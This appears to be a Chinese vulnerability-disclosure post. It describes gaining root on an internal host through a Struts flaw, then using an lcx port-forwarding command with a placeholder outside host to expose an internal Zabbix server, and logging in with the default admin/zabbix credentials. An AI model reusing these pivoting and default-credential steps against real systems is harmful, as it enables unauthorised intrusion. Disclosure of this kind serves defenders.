发这个洞主要的目的是为了提醒大家zabbix还是得注意下涛涛电脑知识网
首先一个struts漏洞、
struts漏洞就不多解释了，
uid=0(root) gid=0(root) groups=0(root)
ifconfig
eth2 Link encap:Ethernet HWaddr 00:18:8B:83:1B:45
inet addr:172.24.205.15 Bcast:172.24.205.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:81041 errors:0 dropped:0 overruns:0 frame:0
TX packets:60 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
Interrupt:16 Memory:f8000000-f8012800
其次是因为
这个漏洞的忽略，收藏了几个脚本、install-zabbix.sh
本身我也比较喜欢收集些脚本，学习学习。
看下面吧
吐槽下吧，做安全这么些年，运维逐步走向自动化，puppet，zabbix，ldap还是要注意下吧、屌丝们入侵也希望自动化的。
漏洞证明：
没有外网IP有点蛋疼，
curl #返回的是zabbix登陆页
确认上面信息后，首先要做一个跳转将172.24.205.15的某个端口转到172.24.162.38的80端口，然后将172.24.205.15监听的端口转到外网来，这样就可以正常访问了
看图
0.0.0.0 98 172.24.162.38 80
做的转发
然后将98端口转发到公网
./lcx -m 3 -h1 youip -p1 786 -h2 127.0.0.1 -p2 98
然后见下图
login:admin/zabbix
至于后面、、、你们懂得，
修复方案：
你们比我这屌丝专业太多了
